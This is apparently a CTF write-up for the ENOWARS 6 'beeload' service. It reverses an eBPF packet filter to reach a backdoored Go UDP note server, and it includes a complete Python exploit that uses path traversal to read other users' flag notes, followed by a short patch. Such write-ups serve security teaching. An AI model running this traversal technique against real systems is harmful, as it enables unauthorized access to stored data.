beeload is a CLI binary that was part of ENOWARS 6. While featuring a path traversal vulnerability at its core, the exploit chain had some interesting twists.

Service Overview

The service consists of a docker-compose setup featuring two instances of a UDP server implemented in go. Each of these instances is configured to listen on a different port (10001 and 10002), and features a differently configured nodeId parameter (0 and 1).

On receiving a UDP packet, the server will parse the packet into a fixed-length packet structure. The packet structure is as follows:

type header struct {
	instruction uint8
	seqN        uint8
	err         uint8
	nodeId      uint8
}

type message struct {
	user     string
	password string
	name     string
	data     string
}

Each message string consists of 255 zero-padded bytes.

The server supports two instructions, INSTRCREATEand INSTRLOAD. These instructions allow storing and retrieving notes from the server’s file system.

When not registered, the server implicitly stores a user’s credentials on creating a new note. These credentials are also stored in the file system.

File Structure

A user’s password is stored by first calculating the MD5 hash of the username. Then, a folder is created with the name of the hash, and the user’s password is stored in the same folder in a file called password.

Notes are stored by first calculating the username’s SHA1 hash. Each note’s filename is then determined by the SHA1 hash of the note’s name.

data/
|-- 5b7c993792f3d4f260a62a57cdab974097919838/
|   `-- password
|-- 27e6b320cef355ad8a53a02445864aa7/
|   `-- ebe66b1f952434cc6df500efa7862d0d
|   `-- a8f5f167f44f4964e6c998dee827110c

Network Analysis

Traffic inspection showed that the game server registered users with random usernames and passwords. These users then created a note called flag with the flag as its content:

00 01 00 00 57 79 47 78  43 50 54 66 69 44 36 57   ....WyGx CPTfiD6W
6f 59 73 31 00 00 00 00  00 00 00 00 00 00 00 00   oYs1.... ........
...
00 00 00 6f 45 71 4e 4e  72 74 65 68 51 4c 4c 78   ...oEqNN rtehQLLx
6d 6b 46 00 00 00 00 00  00 00 00 00 00 00 00 00   mkF..... ........
...
00 00 66 6c 61 67 00 00  00 00 00 00 00 00 00 00   ..flag.. ........
...
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00 45 4e 4f 66 79 56 67  64 6a 59 48 74 47 74 4d   .ENOfyVg djYHtGtM
44 54 76 6f 64 75 7a 50  47 68 5a 50 58 45 52 6e   DTvoduzP GhZPXERn
47 47 54 4a 53 47 63 4f  74 4f 6c 55 4a 62 41 68   GGTJSGcO tOlUJbAh
61 50 58 47 00 00 00 00  00 00 00 00 00 00 00 00   aPXG.... ........

Flag account usernames were included in the CTF’s attack_info.json file.

The Backdoor

Careful examination of the server’s hash implementations reveals a slightly obfuscated backdoor:

func getLocationHash(str string) string {
	hash := str
	for i := 0; i < nodeID; i++ {
		return fmt.Sprintf("%x", md5.Sum([]byte(hash)))
	}
	return hash
}

func readNote(user, filename string) ([]byte, error) {
	file, err := os.Open(fmt.Sprintf("./data/%s/%s", getLocationHash(user), getLocationHash(filename)))
	if err != nil {
    ...

When connecting to the server on port 10001, a nodeID of 0 is used, and any hash functionality is completely skipped. Instead, the input string is returned as-is.

This would allow an attacker to perform a classic path traversal attack, and retrieve the password file. The attacker could then use the password to log in to the server. The attacker could also directly access other user’s notes.

Triggering the Backdoor

Users aren’t connecting to each server by choice. Instead, a closed source eBPF kernel module is used to redirect incoming traffic on port 10000 to one of the two instances listening on ports 10001 and 10002. (All usual traffic is redirected to the first instance.)

To trigger the backdoor, an attacker must convince the filter to redirect his packets to the second instance - it’s finally time for some reverse engineering!

Reversing the Filter

eBPF modules aren’t compiled to native code. Instead, they are compiled to bytecode and then executed in a sandboxed virtual machine environment.

Luckily, there are some tools available to deal with this. Our best results came from using a plugin called eBPF processor for Ghidra, which lifts the VM instructions and gives us access to our trusty decompiler.

By tickling the bytecode and incorporating the packet structure dictated by the server, we obtained the following pseudo-C code:

undefined8 xdp_ld(xdp_md *ctx)
{
  undefined8 ret;
  ulonglong hash_off_1;
  packet_data *data;
  u_int16_t dest;
  uint data_end;
  ulonglong hash_off_3;
  ulonglong hash_off_2;
  ulonglong hash_off_0;
  ulonglong i;
  bool user_left;

  ret = 0;
  _data_end = *(packet_data **)&ctx->data_end;
  data = *(packet_data **)ctx;
  /* Are we looking at a UDP packet to port 10000 (htons 0x1027)? */
  if ((((&data->ip <= _data_end) &&
    (ret = 2, (*(longlong *)((longlong) & (data->eth).h_proto + 1) << 8 |
      *(ulonglong *)&(data->eth).h_proto) == 8)) &&
    (ret = 0, &data->udp <= _data_end)) &&
    (((ret = 2, *(longlong *)&(data->ip).protocol == IPPROTO_UDP &&
    (ret = 0, &data->instruction <= _data_end)) &&
    ((ret = 2, *(longlong *)&(data->udp).dest == 0x1027 && (ret = 0, data + 1 <= _data_end))))))
  {
    /* Redirect the packet to port 10001 / 10002,
       depending on valid username hash  
    */
    hash_off_3 = 0;
    hash_off_2 = 0;
    hash_off_1 = 0;
    hash_off_0 = 0;
    i = 0;
    do
    {
      if (*(ulonglong *)(data->user + i) == 0)
        break;
      hash_off_0 = *(ulonglong *)(data->user + i) ^ hash_off_0;
      if (*(ulonglong *)(data->user + i + 1) == 0)
        break;
      hash_off_1 = *(ulonglong *)(data->user + i + 1) ^ hash_off_1;
      if (*(ulonglong *)(data->user + i + 2) == 0)
        break;
      hash_off_2 = *(ulonglong *)(data->user + i + 2) ^ hash_off_2;
      if (*(ulonglong *)(data->user + i + 3) == 0)
        break;
      hash_off_3 = hash_off_3 ^ *(ulonglong *)(data->user + i + 3);
      user_left = i < 251;
      i = i + 4;
    } while (user_left);
    /* If the hash is valid, redirect to port 10001 */
    dest = 0x1127;
    if (((hash_off_0 << 0x18 | hash_off_3) & 0xffffffff | (hash_off_1 & 0xff) << 0x10 |
      (hash_off_2 & 0xff) << 8) != 0x12345678)
    {
      /* Invalid hash, redirect to 10002 instead! */
      dest = 0x1227;
    }
    (data->udp).dest = dest;
    ret = 2;
  }
  return ret;
}

The analysis reveals that the username contained in the packet is hashed using a simple 4-byte-block XOR-loop. If the resulting hash matches 0x12345678, the packet is redirected to port 10001. Otherwise, it is redirected to port 10002. Constructing a valid (all-printable) username is fairly easy.

Automating the Attack

The following python script automates the attack by first registering with a username known to trigger the backdoor, and then abusing path traversal to retrieve the content of a flag user’s note.

import socket
import argparse
from enum import Enum
from struct import pack, unpack
import logging
from urllib import response
from hashlib import sha1, md5


class API:
    STRLEN = 255

    class Command(Enum):
        INSTRCREATE = 0
        INSTRLOAD = 1

    class Error(Enum):
        WRONGINPUT = 1
        NOTECREATE = 2
        NOTELOAD = 3
        UNKNOWNOP = 4
        NOTEEXISTS = 5

    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.seqno = 0
        self.packet = bytearray()
        logging.basicConfig(level=logging.INFO)
        self.logger = logging.getLogger("API")
        self.client.connect((self.host, self.port))
        self.logger.info(f"Connected to {self.host}:{self.port}")

    def __handle_response(self):
        resp = self.client.recv(4 + self.STRLEN)
        if not resp:
            return None
        instruction, seqno, error, node_id = unpack("<BBBB", resp[0:4])
        if error:
            self.logger.info(f"Error: {self.Error(error).name}")
        if instruction == self.Command.INSTRLOAD.value:
            note = unpack(f"<{self.STRLEN}s", resp[4:])[0]
            self.logger.info(f"Loaded note: {note.decode()}")

    def __send_header(self, command: Command):
        self.seqno += 1
        header_bytes = pack("<BBBB", command.value, self.seqno, 0, 0)
        self.logger.info(f"__send_header: {len(header_bytes)}")
        self.packet += header_bytes

    def __send_auth(self, username: str, password: str):
        auth_bytes = pack(
            f"<{self.STRLEN}s{self.STRLEN}s", username.encode(), password.encode()
        )
        self.logger.info(f"__send_auth: {len(auth_bytes)}")
        self.packet += auth_bytes

    def __send_message(self, name: str, data: str):
        message_bytes = pack(
            f"<{self.STRLEN}s{self.STRLEN}s", name.encode(), data.encode()
        )
        self.logger.info(f"__send_message: {len(message_bytes)}")
        self.packet += message_bytes

    def __issue_command(
        self,
        command: Command,
        username: str,
        password: str,
        message_name: str,
        message_data: str,
    ):
        self.__send_header(command)
        self.__send_auth(username, password)
        self.__send_message(message_name, message_data)
        self.client.sendall(self.packet)
        self.packet.clear()
        self.logger.info(f"Sent {command.name} command")
        self.__handle_response()
        

    def create(self, username: str, password: str, note_name: str, note_cotent: str):
        self.__issue_command(
            self.Command.INSTRCREATE, username, password, note_name, note_cotent
        )

    def load(self, username: str, password: str, note_name: str):
        self.__issue_command(self.Command.INSTRLOAD, username, password, note_name, "")


def main(address: str, port: int):
    flag_user_location_hash = md5('WyGxCPTfiD6WoYs1'.encode()).hexdigest()
    flag_location_hash = md5('flag'.encode()).hexdigest()

    client = API(address, port)
    client.create(
        b"\x7e\x7e\x7e\x5f\x33\x4a\x28\x27\x5f".decode(),
        "some_pass", "important message", "your flags are at risk!"
    )
    client.load(b"\x7e\x7e\x7e\x5f\x33\x4a\x28\x27\x5f".decode(),
        "some_pass",
         f"../{flag_user_location_hash}/{flag_location_hash}"
    )


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Beeload Client")
    parser.add_argument("-p", "--port", type=int, default=10000, help="Port number")
    parser.add_argument("-a", "--address", default="10.1.1.1", help="Address")
    args = parser.parse_args()
    main(args.address, args.port)

Patching the Service

Patching the service is as simple as setting the nodeId of both server instances to 1.